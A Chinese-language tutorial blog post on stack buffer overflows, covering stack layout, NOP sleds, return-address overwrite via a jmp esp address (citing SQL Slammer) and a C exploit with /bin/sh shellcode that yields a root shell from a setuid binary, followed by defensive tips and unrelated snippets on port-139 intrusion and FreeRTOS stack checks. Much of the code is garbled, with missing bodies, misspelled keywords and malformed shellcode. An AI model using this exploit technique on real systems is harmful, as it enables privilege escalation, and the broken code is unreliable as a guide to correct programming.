堆疊溢位攻與防

2021-05-25 02:17:27 字數 2678 閱讀 9285

溢位是網路安全中經常接觸到的乙個問題,一旦出現某種溢位漏洞,網路上成千上萬的電腦都將成為hacker兄弟姐妹們砧板上的肉了。那麼溢位到底是什麼?這種攻擊方式需要怎麼利用和防範?慢慢往下看就知道了。

溢位就是程式對使用者提交的資料不作任何檢查或者檢查不完全而導致的程式/記憶體錯誤,在學習它之前讀者朋友們一定要理解虛擬記憶體的概念,這裡我對這些東西不作介紹了,想知道的朋友可以去看看其他的書籍。

我們先來看看堆疊溢位是怎麼樣的,看看下面的程式:

void lizi(int a ,int b)

viod main()

上面這段c程式在彙編中顯示如下:

pushl $1

pushl $2

call lizi

pushl %ebp

movl %esp,%ebp

subl $20,%esp

我們通過這兩個程式比較可以發現,當呼叫lizi函式的時候,首先使兩個引數入棧,其次是當前指令的下一條指令入棧(ret位址)馬上當前的參底也入棧(ebp),然後又給buffer和buffer1分配了20位元組的空間,那麼函式呼叫返回的時候又發生了什麼事情呢?首先是恢復ebp底內容,然後把ret彈出到eip裡面,這樣程式就會去執行eip指向的位址。說完了函式呼叫的情況,我們再看看這段程式:

void lizi(char *buffer)

viod main()

執行它之後會出現異常,為什麼會這樣呢?因為buffer中間有998個a,而buf只能容納8個位元組,這時自然就會覆蓋我們的ret位址和其它的記憶體了。如果我們寫個shellcode,然後用乙個指向shellcode的值覆蓋ret位址,程式自然就會去執行我們的shellcode了,可是我們怎麼能構造我們shellcode的位址呢?幸好老一輩的前輩們發明了nop的方法,這裡我給大家乙個程式演示:

void lizi (char *buf)

void main ()

給程式加上setuid位,退出root然後用普通使用者執行,看到沒有?bash#出來了!

後來又有一些高手想出了新的方法:用乙個指向call esp 或者jmp esp的位址來覆蓋ret,這樣我們用shellcode覆蓋esp就ok了——sql儒蟲王大家還記得吧?它就是運用了這種手法,用0x42b0c9dc覆蓋ret,而它又正好指向jmp esp。寫個程式給他家看看:

void lizi(char *str)

buffer[14]

strcpy(buffer,str)

} ovid main()

char shellcode=「xebxifx5ex89x76x88x31xc0x88x46x07x89x46x0cxb0x0b」

「x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd」

「x80xe8xdcxffxffxff/bin/sh」;

for(i=0;1<16;i++)

str[i]=0x90;

sprintf(ret,」返回位址是%x「,ebx);

memcpy(str+16,ret,4);

memcpy(str+20,shellcode,strlen(shellcode);

lizi(str)

} 上面lizi函式不檢查引數的長度,直接就strcpy到buffer裡面,返回位址指向call esp,esp指向shellcode。

好了,說了兩種攻擊方法了,大家一定很想知道防範的方法吧?其實堆疊溢位的方法很多,如果你還想要知道更多的方法就看看黑防以前牛人們寫的文章吧,下面說說防禦方法。

防禦篇

其實,要防止堆疊溢位最好的方法是寫程式的時候保持清新的頭腦,這樣才能寫出更加安全的**。這裡我給大家介紹兩種防範堆疊溢位的方法。

int x=0;

user[128];

然後寫兩個函式:

int start() }

end()

第二種我覺得是我自己發明的哦,嘿嘿,不知道是不是沒見過高手們的東西,見笑了。這種方法可以防止nops這種攻擊手法,我的想法是首先給程式乙個新的堆疊,然後在每次返回的時候判斷返回位址是否是這個堆疊裡面的位址,這樣程式如果想直接跳到堆疊執行的話就不可能了。看**:

unsigned ret;

static char stack[8 mb];

_asm

lizi()

if(ret<( stack+sizeof(stack))|| ret> (stack+o)

……………………………………………

} 這樣就能起到比較好的防範方法了,其實最重要的方法是一定要對使用者輸入的資料進行長度、類別檢查(注意:如果判斷長度時候,不要接受負數,這樣也可能會引起溢位)。

大家還記得半年前lnuix的do_brk()函式嗎?它就是因為對引數沒有進行好的檢查而導致的。這個漏洞導致普通使用者可以改寫uid的值,雖然不屬於溢位,但是它也是因為對使用者提交的資料不作檢查而導致的。

好了,寫了這麼多,手都敲軟了,終於寫完了。因為筆者技術有限,而且時間倉促,難免有錯誤的地方,希望高手能夠多多指教,我的mail:[[email protected]][email protected][/email],免費油箱,是不是很欠k?大家千萬別偷我的mail呀!

最後再強調一下:大家一定要注意保持清醒的頭腦去寫**,累了聽聽歌《下一站天後》就好了(twins的歌迷們記得call我啊!),結束閃人

139埠的攻與防

139攻擊 通過139埠入侵,攻擊者首先需要查詢網路上存在139埠漏洞的主機位址,在查詢此類主機過程中,可以使用一些掃瞄工具,比如superscan就是典型的埠掃瞄工具之一。在superscan開始ip位址中輸入需要掃瞄的起始位址,然後在停止中填寫好掃瞄結束的ip位址,然後單擊 開始 按鈕即可開始掃...

139埠的攻與防 1

通過139埠入侵,攻擊者首先需要查詢網路上存在139埠漏洞的主機位址,在查詢此類主機過程中,可以使用一些掃瞄工具,比如superscan就是典型的埠掃瞄工具之一。在superscan開始ip位址中輸入需要掃瞄的起始位址,然後在停止中填寫好掃瞄結束的ip位址,然後單擊 開始 按鈕即可開始掃瞄。掃瞄結束...

堆疊溢位檢測

維持的每個任務,都有它自己的堆疊。任務堆疊占用的記憶體,當任務建立時自動分配了 堆疊的尺寸引數通過xtaskcreate api確定。堆疊溢位是常見事件,由應用程式不確定引起的。freertos.org?因此提供了提供了兩個可供選擇的機制,可用來協助察覺和糾正這種事件發生。使用的選項由configc...